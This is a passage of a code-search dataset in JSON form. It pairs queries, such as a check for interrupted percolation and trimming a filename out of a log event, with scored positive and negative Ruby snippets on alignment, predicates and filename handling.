"04db877821968fe6a58a39e5e1815c02", "score": "0.5294072", "text": "def set_Center(value)\n set_input(\"Center\", value)\n end", "title": "" }, { "docid": "811322ebcc404e7b7184a608f4b50152", "score": "0.5288174", "text": "def center_x\n width / 2\n end", "title": "" }, { "docid": "f89ee3e1fd844ed1e62a9245d5d1a754", "score": "0.5276222", "text": "def centerX\n x + width * 0.5\n end", "title": "" }, { "docid": "65dac74d9467286ad33364ded54a818d", "score": "0.52685815", "text": "def set_center_item\n @center_item = CenterItem.find(params[:id])\n end", "title": "" }, { "docid": "78c1ccddcfdfc73a0fa3c5046bc39c5a", "score": "0.5268315", "text": "def center(text, space = \"\")\n if space == 'puts'\n puts\n print \" \"*((178-text.chomp.size)/2)\n print text\n puts\n elsif space == 'align_middle'\n print \" \"*((178-text.chomp.size)/2)\n print text\n else\n puts \"\\n\\n\\n\"\n print \" \"*((178-text.chomp.size)/2)\n print text\n puts\n end\n end", "title": "" }, { "docid": "f0ce0280795dd0056ff3c6cb6e0a61e9", "score": "0.52658826", "text": "def align\n alignment = Vector[0,0]\n r = @world.roids.sort {|a,b| self.distance_from(a) <=> self.distance_from(b)}\n roids = r.first(MAGIC_NUMBER)\n roids.each do |roid|\n alignment += roid.velocity\n end\n alignment /= MAGIC_NUMBER\n @delta += alignment/ALIGNMENT_ADJUSTMENT\n end", "title": "" }, { "docid": "39edc28e7459e4c978b4fdd2f77f4dd8", "score": "0.52469075", "text": "def computeEntryPosition(tv, cell)\n\t\t\ts = self.parent\n\t\t\tif !s.entryAlignment.nil? && s.entryAlignment.width != 0 then\n\t\t\t\treturn s.entryAlignment\n\t\t\tend\n\t\t\t# If all EntryElements have a null Caption, align UITextField with the Caption\n\t\t\t# offset of normal cells (at 10px).\n\t\t\tmax = CGSize.new(-15, \"M\".sizeWithFont(@@font).height)\n\t\t\t\n\t\t\ts.elements.each do |e|\n\t\t\t\tee = e #as EntryElement\n\t\t\t\tif ee.nil? then\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif ee.caption != nil then\n\t\t\t\t\tsize = ee.caption.sizeWithFont(@@font)\n\t\t\t\t\tif size.width > max.width then\n\t\t\t\t\t\tmax = size\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\ts.entryAlignment = CGSize.new(25 + [max.width, 160].min, max.height)\n\t\t\ts.entryAlignment\n\t\tend", "title": "" }, { "docid": "8ce69139a767bc8242fc6a29fb654d9f", "score": "0.52467513", "text": "def slot_attr\n \"border-bottom p-2 pl-4 d-flex wd-100 justify-content-between flex-nowrap \" \\\n \"align-items-center\"\n end", "title": "" }, { "docid": "8ce69139a767bc8242fc6a29fb654d9f", "score": "0.52467513", "text": "def slot_attr\n \"border-bottom p-2 pl-4 d-flex wd-100 justify-content-between flex-nowrap \" \\\n \"align-items-center\"\n end", "title": "" }, { "docid": "73f477ceae43b8d320f9ddd6ce1702e0", "score": "0.52334076", "text": "def center\n options[:center] || Config.center\n end", "title": "" }, { "docid": "43ab1e8735b3820118e91e1103b9a375", "score": "0.5230454", "text": "def align_table(table)\n return table if @align.nil?\n\n @align.each_key do |key|\n @align[key.to_sym].each { |x| table.align_column(x, key.to_sym) }\n end\n\n table\n end", "title": "" }, { "docid": "d641228adc1b5fb9a384b480375a6fc9", "score": "0.522955", "text": "def alignment(value)\n @options[:alignment] = value\n end", "title": "" }, { "docid": "d7c694d1b022b4b68e98703d8c13f24a", "score": "0.5229289", "text": "def draw_alignment_mark(draw,center_x,center_y)\n draw.stroke('black')\n\n draw.stroke_width(ALIGNMENT_WIDTH_PX);\n #Vertical,thick\n draw.line(center_x,center_y+ALIGNMENT_SIZE,\n center_x,center_y+(ALIGNMENT_SIZE/4))\n draw.line(center_x,center_y-ALIGNMENT_SIZE,\n center_x,center_y-(ALIGNMENT_SIZE/4))\n\n #Horiz, thick\n draw.line(center_x+ALIGNMENT_SIZE,center_y,\n center_x+ALIGNMENT_SIZE/4,center_y)\n draw.line(center_x-ALIGNMENT_SIZE/4,center_y,\n center_x-ALIGNMENT_SIZE,center_y)\n \n #Thin sections\n draw.stroke_width(ALIGNMENT_WIDTH_THIN_PX);\n #Vert\n draw.line(center_x,center_y+(ALIGNMENT_SIZE/4),\n center_x,center_y-(ALIGNMENT_SIZE/4))\n\n #Horiz\n draw.line(center_x-ALIGNMENT_SIZE/4,center_y,\n center_x+ALIGNMENT_SIZE/4,center_y)\n \n\nend", "title": "" }, { "docid": "7609da1b9acbc7d135d9f22fb1ea8415", "score": "0.52266306", "text": "def item_rect(index)\n rect = super\n rect.x += TAG_WIDTH + standard_padding\n rect\n end", "title": "" } ]
eaa74372f910ebe4088d505918b70c06
Test whether percolation is interrupted
[ { "docid": "f42f3e6621bcf3f3b73ffc64c94f703b", "score": "0.6090488", "text": "def interrupted?\n @received_interrupt == true\n end", "title": "" } ]
[ { "docid": "7d0505ab9b5f36726fa324e256011376", "score": "0.6438681", "text": "def interrupted?\n !!@interrupted\n end", "title": "" }, { "docid": "7d0505ab9b5f36726fa324e256011376", "score": "0.6438681", "text": "def interrupted?\n !!@interrupted\n end", "title": "" }, { "docid": "7d0505ab9b5f36726fa324e256011376", "score": "0.6438681", "text": "def interrupted?\n !!@interrupted\n end", "title": "" }, { "docid": "c77d5506ed1fcff1f45a5cde2309f72b", "score": "0.60608053", "text": "def interrupted?\n States::INTERRUPTED == state\n end", "title": "" }, { "docid": "34611d1ac274284f8839f3df3b347f0c", "score": "0.5981393", "text": "def interrupted?\n @internal_data.interrupted?\n end", "title": "" }, { "docid": "3a2ac4a411add1554c83354e423a66a0", "score": "0.5948651", "text": "def retry_after_interrupt?\r\n false\r\n end", "title": "" }, { "docid": "7b7cae0a2807af3af64f31c248a78ac9", "score": "0.5931737", "text": "def continue?\n @turns_left > 0\n end", "title": "" }, { "docid": "99eb604698822545c7e3a640e8a4ff7f", "score": "0.58405465", "text": "def interruptable?\r\n false\r\n end", "title": "" }, { "docid": "dc19d9607c9aec5ea83bd532b9ae845c", "score": "0.5760424", "text": "def pbIsOpposing?(i)\n return (@index&1)!=(i&1)\n end", "title": "" }, { "docid": "75a9a1f729bf4950d9e7d5bf9df7e29f", "score": "0.57590204", "text": "def interrupted?\n [:restart_requested, :stop_requested].include? run_status\n end", "title": "" }, { "docid": "02148e16ec04f3979c77a929d08fe639", "score": "0.57154745", "text": "def stop_processing?\n failed? || skip_remaining?\n end", "title": "" }, { "docid": "a55c255dde434d1c1198963b32d9cd02", "score": "0.5606116", "text": "def in_effect?\n ! ! @in_effect\n end", "title": "" }, { "docid": "81fe2644df33cff33ddb8ea4eddc285e", "score": "0.5591004", "text": "def continuable?\n\t\tfalse\n\tend", "title": "" }, { "docid": "cc6d0ee0774f7f14d030e471126b80c4", "score": "0.55840594", "text": "def skipped?\n !!@_skip_processing\n end", "title": "" }, { "docid": "13c4319fc5a60aa479dc15322a2b223d", "score": "0.5581012", "text": "def unskipped?\n !skipped?\n end", "title": "" }, { "docid": "019b47b200113c5f1a8a320dd41113db", "score": "0.550386", "text": "def skip_step?\n return aborted? || in_skipped_conditional?\n end", "title": "" }, { "docid": "40f401ebf5ac10bbc93335a9bf955246", "score": "0.54922426", "text": "def check_for_abort\n @aborted = true if rand < 0.33\n end", "title": "" }, { "docid": "6e36f3b819896c29f54d6706e8f583a1", "score": "0.5489206", "text": "def is_over?() \n return false #currently hard-coded for non-elimination\n end", "title": "" }, { "docid": "a14d4480d1344f421fd00aa598e74b7d", "score": "0.54657376", "text": "def side_effect?\n return false\n end", "title": "" }, { "docid": "a14d4480d1344f421fd00aa598e74b7d", "score": "0.54657376", "text": "def side_effect?\n return false\n end", "title": "" }, { "docid": "61c7d066b348fee2f95489b720761ab8", "score": "0.5449094", "text": "def interruption_requested?\n @interruption_event.set?\n end", "title": "" }, { "docid": "f40842f65941a74fa388b2e69c6457fc", "score": "0.54248893", "text": "def check_skip_counter\n @skip_counter == 1\n end", "title": "" }, { "docid": "ee4ee70e3b88f0f742097ca113c2b3dc", "score": "0.54181206", "text": "def interlaced?\n @interlace == 1\n end", "title": "" }, { "docid": "ceaacad171aa0ebdea42f851d1f2448a", "score": "0.54135007", "text": "def turnover?\n @rotation == @notch\n end", "title": "" }, { "docid": "1a13c0cfff4c33c360efcb80fd35fa1b", "score": "0.54120225", "text": "def test_continue_truthy\n turns_remaining_miner = Prospector.new(0, @dummy_location, num_turns = 1)\n assert turns_remaining_miner.continue?\n end", "title": "" }, { "docid": "5767949aa3d522c430ad500180e6a854", "score": "0.5406616", "text": "def interrupt?\n !@interrupts.empty?\n end", "title": "" }, { "docid": "b0914a39daa0d67aef6615cc89eb9953", "score": "0.5396083", "text": "def test_continue_falsy\n turns_expired_miner = Prospector.new(0, @dummy_location, num_turns = 0)\n refute turns_expired_miner.continue?\n end", "title": "" }, { "docid": "bad7dbe094cad87d3c8b2bd23a55fc0a", "score": "0.53953815", "text": "def undecided?\n last_turn && last_turn.undecided?\n end", "title": "" }, { "docid": "dd8862db92c90710a2a10fea96018099", "score": "0.53873783", "text": "def _interrupt\n true\n end", "title": "" }, { "docid": "ce4cc966ff4432d987f46c4868ed69fc", "score": "0.53845406", "text": "def skip_remaining?\n @skip_remaining\n end", "title": "" }, { "docid": "c0d00f4e93a8d914afd71d187e1fe80f", "score": "0.5378626", "text": "def skipped?\n status == 'SKIP'\n end", "title": "" }, { "docid": "238655f87e86f21a993cc5d6c94f6aaf", "score": "0.5354539", "text": "def skipped?\n self.failure and Skip === self.failure\n end", "title": "" }, { "docid": "1acb65ac759f58887a7b4882ebf907e9", "score": "0.53436476", "text": "def noncorrelation_threadworm?()\n oralism_hermitess_sprug?()\n end", "title": "" }, { "docid": "a93ae7e5bb4789107aa01d479116132f", "score": "0.53314835", "text": "def interruption_point\n if interruption_requested?\n raise Interrupt, \"interruption requested\"\n end\n end", "title": "" }, { "docid": "790ec43afce269a8363e5afa31ec55f7", "score": "0.5322253", "text": "def skipped?\n skipped\n end", "title": "" }, { "docid": "3d44b2f9c2b3beafcda713d8c52bfe8a", "score": "0.53193486", "text": "def skip?\n return (@current_action.kind == 0 and @current_action.basic > 0)\n end", "title": "" }, { "docid": "d2a78a0c771e8311edd98e97390dcaf9", "score": "0.5314587", "text": "def skipped?\n skipped\n end", "title": "" }, { "docid": "aa4a318c8d15b0e4393b050ed6873365", "score": "0.53092015", "text": "def too_complex?\n\t\t\t@aborted_probability_distribution\n\t\tend", "title": "" }, { "docid": "e13e825f60292a10f1d541223bd7d948", "score": "0.52967924", "text": "def arbitrageable?\n sum_inverse_outcome < 1\n end", "title": "" }, { "docid": "c9ee39da4743e1da678537eccb4be536", "score": "0.52965474", "text": "def running?\n !exhausted?\n end", "title": "" }, { "docid": "5ab6d76f76e3b8179c978e74f7a1eef4", "score": "0.52863276", "text": "def elide?\n false\n end", "title": "" }, { "docid": "e5c5a4016f045974f3de1c19fe33452f", "score": "0.52831763", "text": "def pen_up?\n not @segment\n end", "title": "" }, { "docid": "13eb2d13b7b6b88401af177b36be3524", "score": "0.5282029", "text": "def fault_tolerant?\n false\n end", "title": "" }, { "docid": "d0cd9e4e33e1ca2258522554bbdfb5b6", "score": "0.5278526", "text": "def skipped?\n state == :skipped\n end", "title": "" }, { "docid": "c8aef30993a084b45570519750ade323", "score": "0.52722114", "text": "def retry?\n !fatal?\n end", "title": "" }, { "docid": "d62508e75cb175fb22887d727b67bb14", "score": "0.52712643", "text": "def repairs_error?(exception)\n exception = exception.to_execution_exception\n running? && can_repair_error?(exception)\n end", "title": "" }, { "docid": "371b223d6ef3fc6d111d252a2e0f1319", "score": "0.5265595", "text": "def continuable?\n\t\ttrue\n\tend", "title": "" }, { "docid": "371b223d6ef3fc6d111d252a2e0f1319", "score": "0.5265595", "text": "def continuable?\n\t\ttrue\n\tend", "title": "" }, { "docid": "b1fbd72d982efc0d51f5e739a3e286ed", "score": "0.52599335", "text": "def is_paired \n (flag & 0x1) != 0\n end", "title": "" }, { "docid": "0e7152ecbb8ae38d22aa96ef5558f3c7", "score": "0.5255457", "text": "def warn_no_continuations; end", "title": "" }, { "docid": "08f377f2bc772d2d44fa4e84ac62f0fa", "score": "0.5251267", "text": "def inscrite?\n self.paiementsTotal == 0 and !self.enRegle?\n end", "title": "" }, { "docid": "7209024735b0737d29ac9cb762c556c0", "score": "0.52441996", "text": "def should_run?\n @iterations ||= 0\n @iterations += 1\n @iterations <= 3\n end", "title": "" }, { "docid": "2ce582ff25b038394425b12ffac5ca1b", "score": "0.5242051", "text": "def skipped?; end", "title": "" }, { "docid": "2ce582ff25b038394425b12ffac5ca1b", "score": "0.5242051", "text": "def skipped?; end", "title": "" }, { "docid": "2ce582ff25b038394425b12ffac5ca1b", "score": "0.5242051", "text": "def skipped?; end", "title": "" }, { "docid": "2ce582ff25b038394425b12ffac5ca1b", "score": "0.5242051", "text": "def skipped?; end", "title": "" }, { "docid": "665e980b9c59717d78e829994444bdc5", "score": "0.5240914", "text": "def unfinished_step?( step = self.step )\n index = seen ? step_index( seen ) : -1\n step_index( step ) > index\n end", "title": "" }, { "docid": "1371428a74e5aaf692c15ef2310dd3f6", "score": "0.5232513", "text": "def cpu_prevent\n current_turn = @state[:turn]\n @state[:turn] = current_turn == PLAYER_1_TURN ? PLAYER_2_TURN : PLAYER_1_TURN # pretend to be other player\n (0..(@state[:board_columns] - 1)).each do |c|\n token_placed = board_place_token(c)\n if game_result != NO_RESULT_YET\n board_remove_token(c) # remove the winning move\n @state[:turn] = current_turn # change back\n place_token(c) # place token to block\n return true\n elsif token_placed # make sure token was placed before force delete\n board_remove_token(c)\n end\n end\n @state[:turn] = current_turn # remember to switch back\n false\n end", "title": "" }, { "docid": "2301b3a43ea7c59b2b418405d6d76df1", "score": "0.5228624", "text": "def continue_test\n @rerun_last_command.pop\n @rerun_last_command.push(false)\n end", "title": "" }, { "docid": "daf972192b161972947a8eb70b8d157f", "score": "0.5227959", "text": "def stopped?\n !applying?\n end", "title": "" }, { "docid": "f96e412bc8bca6ac31413c2e7d4f4066", "score": "0.5227403", "text": "def interesting?\n @counter > 0\n end", "title": "" }, { "docid": "22e7437c3b071ab3ef5484abdff95fed", "score": "0.5224025", "text": "def interruption_point\n if interruption_requested?\n raise Interrupt, \"interruption requested\"\n end\n end", "title": "" }, { "docid": "4c1fe6720cf1c8fb8c0221a6ce84ce5a", "score": "0.522325", "text": "def should_process\n return @chunk_count % @modulo_factor == 0\n end", "title": "" }, { "docid": "6dda06e3239ed7a1d3e30f3a99401b88", "score": "0.522296", "text": "def skipped?\n @skipped || false\n end", "title": "" }, { "docid": "8407734f28b5e32e3303764d70676711", "score": "0.52163905", "text": "def out_of_turns? #All this does is determine if you have turns. What to do with that data lives in the 'until'\n @tries_left == 0\n end", "title": "" }, { "docid": "88fc538fd3aa1ef033bd62e007d44034", "score": "0.5200679", "text": "def in_exit?\n ! ! @in_exit\n end", "title": "" }, { "docid": "ba7f8ecc4ff3359aa83b109c8a046c15", "score": "0.5197928", "text": "def post_processing\n !delay_processing? || split_processing?\n end", "title": "" }, { "docid": "3cc16a0cb28d14a79fe64bd82bb5b8a7", "score": "0.51972604", "text": "def interrupted!\n @interrupted = true\n end", "title": "" }, { "docid": "d8ee5185658db96b36ff5d4eca677665", "score": "0.51951545", "text": "def unexpectedShortfall?\n return (@numUnexpected > 0)\n end", "title": "" }, { "docid": "4f557b2e2e01c58853f8dd37d5c4239b", "score": "0.51840615", "text": "def still_ongoing\n diagonale, anti_diagonale = 0, 0\n 3.times do |i|\n diagonale += @board_matrix.element(i, i)\n anti_diagonale += @board_matrix.element(2-i, i)\n return false, @board_matrix.column(i).sum.positive? if @board_matrix.column(i).sum.abs == 3\n return false, @board_matrix.row(i).sum.positive? if @board_matrix.row(i).sum.abs == 3\n return false, diagonale.positive? if diagonale.abs == 3\n return false, anti_diagonale.positive? if anti_diagonale.abs == 3\n end\n return true\n end", "title": "" }, { "docid": "127bac2b6bea142974dd849d5748fdb2", "score": "0.5183936", "text": "def skipped?\n\t\t@skipped\n\tend", "title": "" }, { "docid": "763d5581b8040b655f0d979bd9fd46ab", "score": "0.51798445", "text": "def should_complete\n @skipped || (@thread && !@thread.status)\n end", "title": "" }, { "docid": "66a71dabe99a96f072a80dfea7400413", "score": "0.5179647", "text": "def susceptible\n @n - @i - @ni\n end", "title": "" }, { "docid": "911c4a73ae99fff96383e6460da40554", "score": "0.51786554", "text": "def raise_preemptive?\r\n party_ability(ABILITY_RAISE_PREEMPTIVE)\r\n end", "title": "" }, { "docid": "56b205fd5f909595cc126218dec7bf43", "score": "0.5177527", "text": "def raise_preemptive?\n party_ability(ABILITY_RAISE_PREEMPTIVE)\n end", "title": "" }, { "docid": "e6a1cefb43651e79fde6cfb2d328b574", "score": "0.5173776", "text": "def skipped!; end", "title": "" }, { "docid": "e6a1cefb43651e79fde6cfb2d328b574", "score": "0.5173776", "text": "def skipped!; end", "title": "" }, { "docid": "ffc0737a78a7f474a6617a21ef8bc1ea", "score": "0.51710784", "text": "def skip?\n false\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.5168916", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.5168916", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.5168916", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "e8399ed1cdc3c0f5fbc4314f7d157330", "score": "0.5168916", "text": "def fault_tolerant?\n true\n end", "title": "" }, { "docid": "100c4a57449fba89a9b12c720e2948f2", "score": "0.5163537", "text": "def semiperfect?\n !find_partition_from(proper_divisors.reverse).nil?\n end", "title": "" }, { "docid": "4e06fd2881248b5e8ad85249ac2498e9", "score": "0.5161296", "text": "def side_effect?\n true\n end", "title": "" }, { "docid": "860725edc3de47b1acaeaa7f34bd71d8", "score": "0.5159935", "text": "def skipped?\n @skipped\n end", "title": "" }, { "docid": "805462da1d6dbfbfb4c7a9503c889f73", "score": "0.51588506", "text": "def fallthrough?\n opcode.fallthrough?\n end", "title": "" }, { "docid": "c7a60beb3f1fd116b80bec729ecf4ee2", "score": "0.51534027", "text": "def should_retry?\n @error && @element && @element.num_runs < 5\n end", "title": "" }, { "docid": "c34542789b4582d3006ca5926fe45622", "score": "0.5152005", "text": "def high_cycle_passed?\n (@data.count - 3).times do |i|\n if (@data[i] > threshold) && (@data[i+1] > threshold) &&\n (@data[i+2] > threshold)\n return true\n end\n end\n\n return false\n end", "title": "" }, { "docid": "852d56f540c7b2ffa03526cb318652f2", "score": "0.5151656", "text": "def isUnchanging? ()\n return @unchanging\n end", "title": "" }, { "docid": "67545d96c0953c1e44f7b63265982e57", "score": "0.51499075", "text": "def can_continue(cell, routeCells, exitcell= nil)\n deadEnd = cell.is_dead_end?\n looping = routeCells.include? cell\n exitcell.nil? ? reachedexit = exitcell == cell : reachedexit = false\n !looping && !deadEnd && !routeCells.empty? && !reachedexit\n end", "title": "" }, { "docid": "87eaff342c1c8953b660645084c71de5", "score": "0.51472014", "text": "def interchange?\n false\n end", "title": "" }, { "docid": "cdf4299f305d3f718422cf58c159d4e3", "score": "0.51446277", "text": "def halted?\n @halted\n end", "title": "" }, { "docid": "677c554e885b169dbecad607dac2cd3e", "score": "0.5140584", "text": "def panel_skip?\n @can_skip_message && Input.dir4 != 0 && Input.dir4 != $game_player.direction\n end", "title": "" }, { "docid": "d41eb487aecb0360b21dc744bbe86557", "score": "0.5134631", "text": "def internal_loop?\n return false unless @last.is_a?(RnaSec::Tree::BasePair)\n return false unless @last.five_idx == @cur.idx - 1\n return false unless base_pair_part?\n return false if hairpin?\n true\n end", "title": "" }, { "docid": "c0e0986db516d340f1d2f3c2eda22f58", "score": "0.51338696", "text": "def shot_missed? row, column\n (0...@size).each do |offset|\n if @orientation == :horizontal\n return false if column == (@column+offset)\n elsif @orientation == :vertical\n return false if row == (@row+offset)\n end\n end\n true\n end", "title": "" }, { "docid": "c3f9b1651b0a3476465c824838280a0c", "score": "0.5126987", "text": "def halt?\n return @flags[:halt]\n end", "title": "" }, { "docid": "1dbd5d05fbd2cd3e40b37b0e9d4eb552", "score": "0.5121223", "text": "def nearsighted_subthrill()\n unlanced?(upwhir_chronometry)\n end", "title": "" }, { "docid": "9a4d92c23965376e6e69b53911248a0f", "score": "0.5120391", "text": "def over?\n false\n end", "title": "" }, { "docid": "b1273edd7f590f35f01de192ae119714", "score": "0.51199824", "text": "def interruptible?\n \treturn @interruptible\n end", "title": "" }, { "docid": "b1273edd7f590f35f01de192ae119714", "score": "0.51199824", "text": "def interruptible?\n \treturn @interruptible\n end", "title": "" } ]
7853a6c33088c5eac361a6816667306f
Return a trimmed version of the filename from where a LogEvent occurred
[ { "docid": "9e7f8b23ebd516792bbd0c131fd6ac4a", "score": "0.72100973", "text": "def event_filename(tracer)\n parts = tracer.match(/#{basedir}\\/(.*:[0-9]+).*:/)\n\n # If we get no matches back, we're probably in a jar file in which case\n # the format of the tracer is going to be abbreviated\n if parts.nil?\n parts = tracer.match(/(.*:[0-9]+).*:/)\n end\n return parts[-1] if parts\n end", "title": "" } ]
[ { "docid": "fe1ffe9b6269baa29d27d59ed2cb8666", "score": "0.723762", "text": "def event_filename(tracer)\n if basedir.nil?\n parts = tracer.match(/(.*:[0-9]+).*:/)\n else\n parts = tracer.match(/#{basedir}\\/(.*:[0-9]+).*:/)\n end\n\n # If we get no matches back, we're probably in a jar file in which case\n # the format of the tracer is going to be abbreviated\n if parts.nil?\n parts = tracer.match(/(.*:[0-9]+).*:/)\n end\n return parts[-1] if parts\n end", "title": "" }, { "docid": "9fd4a723a4f33c6d72216c200a21af63", "score": "0.6606076", "text": "def getLog\r\n return filename\r\n end", "title": "" }, { "docid": "a56e5bf363e863a8c1d0dfeb5678be8c", "score": "0.65004045", "text": "def log_filename_time_part\n Time.now.strftime(self.class.date_log_postfix)\n end", "title": "" }, { "docid": "cc4a47643ed8d24e0983461c77bcd061", "score": "0.64836776", "text": "def filename\n # return Log file name\n return \"#{@model.day_id( @time )}.yaml\" if @time\n\n sn = split_name\n file = \"#{sn[0]}_#{sn[-1]}s.yaml\"\n end", "title": "" }, { "docid": "f754be30781385b59ab9ee24aa49f054", "score": "0.6453449", "text": "def file_name_and_line\n file, line = log.file_name_and_line(true)\n \"#{file}:#{line}\" if file\n end", "title": "" }, { "docid": "6cc02d05124905f06e2d90de40b31ace", "score": "0.64165884", "text": "def log_filename\n file = 'VlabDebug.txt'\n dir = File.dirname(file)\n base = File.basename(file, '.*')\n time = Time.now.to_i # or format however you like\n ext = File.extname(file)\n File.join(dir, \"#{base}_#{time}#{ext}\")\nend", "title": "" }, { "docid": "492debf76fa31cf723c7bf3f1a6b7e76", "score": "0.63595504", "text": "def file_name\n cause.respond_to?(:getFileName) ? cause.getFileName : nil\n end", "title": "" }, { "docid": "ff292d67870f68b36403bf854925fce5", "score": "0.6354816", "text": "def clean_filename\n @filename.split(\"/\").last\n end", "title": "" }, { "docid": "40675ca37e6a64a2986901405d1433a2", "score": "0.6346331", "text": "def filename\n logdev.filename\n end", "title": "" }, { "docid": "69e27347f77d565f532a19983ae75ee3", "score": "0.6291066", "text": "def file_name\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\t#LOG.debug(fname) {\"filename=#{filename}\"}\n\t\tPlmServices.file_basename(self.filename).split(\".\")[0] unless self.filename.blank?\n\tend", "title": "" }, { "docid": "e3bf4188cbcbce7862ea35ef1b8b55ef", "score": "0.62647843", "text": "def log_name\n return self.attrs['title'].gsub(/[^-A-Z0-9a-z_]/, '')\n end", "title": "" }, { "docid": "e82ffb1fdd5fba1f997b6325fe11f4ed", "score": "0.6260875", "text": "def filename\n segment.to_s[/.+\\..+/]\n end", "title": "" }, { "docid": "8c0a2ba9ef26e0e16023ad9a8f48e92e", "score": "0.62498784", "text": "def filename\n original_filename.squish.gsub(\" \", \"_\")\n end", "title": "" }, { "docid": "084f7ca90154c35444d9130b9aa41ed2", "score": "0.61795336", "text": "def original_filename\n File.basename(self.path)\n end", "title": "" }, { "docid": "084f7ca90154c35444d9130b9aa41ed2", "score": "0.61795336", "text": "def original_filename\n File.basename(self.path)\n end", "title": "" }, { "docid": "a8a6a126cd454c6240e03dd8e2fd133f", "score": "0.6168235", "text": "def original_filename\n File.basename(attachment.path)\n end", "title": "" }, { "docid": "cd46c587e914300dfd80b52e73782500", "score": "0.6160278", "text": "def csv_filename(event)\n # Are we using the date range of the data being downloaded, as part of the filename?\n if @use_event_dates_in_filenames\n # YES: So we'll retrieve the 'from' and 'to' dates covered.\n now = Date.today\n from_date_segment = (now - @from_days_ago).to_time.strftime('%Y-%m-%d')\n to_date_segment = (now - @to_days_ago).to_time.strftime('%Y-%m-%d')\n \"#{event.camelize.delete(' ')}.#{from_date_segment}.#{to_date_segment}.csv\"\n else\n # NO: So we'll just use today's date in the filename, which will typically\n # not map to the event data timestamps that will be contained in this file.\n date_segment = Time.now.strftime('%Y-%m-%d')\n \"#{event.camelize.delete(' ')}.#{date_segment}.csv\"\n end\n end", "title": "" }, { "docid": "97b6507ab494b5ef0fa9401b2d77809c", "score": "0.61543906", "text": "def log_filename\n params(:l).blank? ? File.join(RailsStub.root, 'log', \"#{self.class.script_name}#{log_filename_time_part}.log\") : params(:l)\n end", "title": "" }, { "docid": "d80ff68b92d3186d08b759daf3061092", "score": "0.6139491", "text": "def original_file_name\n File.basename(@path) if @path\n end", "title": "" }, { "docid": "2f3738d6f2ff98ec40a337147513329d", "score": "0.61367863", "text": "def event_info_file_name\n \"streamed_event#{self.id}.txt\"\n end", "title": "" }, { "docid": "3292d17a803756ce2e2dc28f09d5ef1d", "score": "0.61335045", "text": "def basename_stripped(path)\n filename = path.basename.to_s\n filename.sub!(/\\..*$/, '')\n filename\n end", "title": "" }, { "docid": "4b917f9d12ec1e7fb7f25a4389fa543b", "score": "0.61135316", "text": "def original_filename\n if md = /^(?:.*[:\\\\\\/])?(.*)/m.match(full_original_filename)\n md.captures.first\n else\n File.basename full_original_filename\n end\n end", "title": "" }, { "docid": "36bf389d6b86adf0c2fdbf5a1b027549", "score": "0.61087483", "text": "def filename\n @logger.get_all_appenders.first.get_file\n end", "title": "" }, { "docid": "3ad31c24480b6f5618c6f160daba1af8", "score": "0.6104333", "text": "def filename\n File.basename(self.source, File.extname(self.source))\n end", "title": "" }, { "docid": "912c77b0483e8e5f0d5819b09704a981", "score": "0.60888237", "text": "def clean_name\n return file_file_name\n file_file_name.to_s.sub(/\\..*/, '')\n end", "title": "" }, { "docid": "a93ef56745b28b48283682df3d3f5f44", "score": "0.6088628", "text": "def _master_log_file\n cleanfy_log_name relay_master_log_file.split('.').first\n end", "title": "" }, { "docid": "3f4b94985e39dad4691d66c93437e440", "score": "0.60866904", "text": "def original_filename\n if md = /^(?:.*[:\\\\\\/])?(.*)/m.match(full_original_filename)\n md.captures.first\n else\n File.basename full_original_filename\n end\n end", "title": "" }, { "docid": "085bcfadadb0a59f813e9277cfedbae5", "score": "0.60765815", "text": "def filename()\n File.basename(self.local_path)\n end", "title": "" }, { "docid": "7ac7b81c57662cbff336d8a35d6413d7", "score": "0.607318", "text": "def original_filename\n File.basename(\"#{@file_name}.#{@file_extension}\")\n end", "title": "" }, { "docid": "461cabb4b2a576f0a33eadc94a94afc6", "score": "0.603694", "text": "def original_filename\n File.basename(filepath)\n end", "title": "" }, { "docid": "48255ac4e1c6943353e94be6547aa676", "score": "0.60346836", "text": "def file_name\n File.basename(@path)\n end", "title": "" }, { "docid": "06e3f4a3c0b77ff7681544f90927ea5e", "score": "0.60332835", "text": "def filename\n self.file.to_s.split('/').last\n end", "title": "" }, { "docid": "87af5562f4b0393328a4870ba9cf025f", "score": "0.6027993", "text": "def trim_filename(filename)\n filename_length = filename.length\n\n #trim 'n' splice if necessary\n if filename_length > MAX_FILENAME_LENGTH\n filename = filename.to_s[0..MAX_FILENAME_LENGTH] + '...' + filename.to_s[(filename_length - FILENAME_TAIL_LENGTH)..filename_length]\n end\n\n return filename\nend", "title": "" }, { "docid": "bb7d143fc9aac0fc669bdc0544e6267a", "score": "0.6009548", "text": "def original_filename\n File.basename(filepath)\n end", "title": "" }, { "docid": "b58fff7324e05f3bb2eff1c28d766590", "score": "0.6006191", "text": "def take_timestamp(filepath)\n File.basename(filepath).split('_')[0]\n end", "title": "" }, { "docid": "1e49172781e33b2d12688b851bf1f8c1", "score": "0.6004971", "text": "def filename\n File.basename(@path)\n end", "title": "" }, { "docid": "b94d9f91cda8785edb17aecf9e5d5f96", "score": "0.60014844", "text": "def filename\n ::File.basename(file.path)\n end", "title": "" }, { "docid": "459ff111ea4cfd8d3994d7d7d77513f7", "score": "0.59697294", "text": "def filename\n return \"\" if original_filename.blank?\n sanitize(original_filename) \n end", "title": "" }, { "docid": "e22df008316f0e5d54a9e8e9af796793", "score": "0.5957637", "text": "def getFileName(file)\n File.basename(file, \".*\")\n end", "title": "" }, { "docid": "461242a28d4e0652813bc4bf7ed47db6", "score": "0.5953271", "text": "def file_name\n @file_name.split('.').first\n end", "title": "" }, { "docid": "edc71dc98e8d9fe9686d630b8aa2ae5d", "score": "0.5948497", "text": "def caller_filename\n path = caller_locations(2, 1).first.path\n return File.basename(path)\n end", "title": "" }, { "docid": "295c092f2e27fb4429023b5cf7a4974d", "score": "0.5946441", "text": "def file_basename\n app_name.split('-').last\n end", "title": "" }, { "docid": "715bf311d3d98d4153f45b912a8981b3", "score": "0.5946186", "text": "def filename\n if original_filename\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}.#{file.extension}\"\n end\n end", "title": "" }, { "docid": 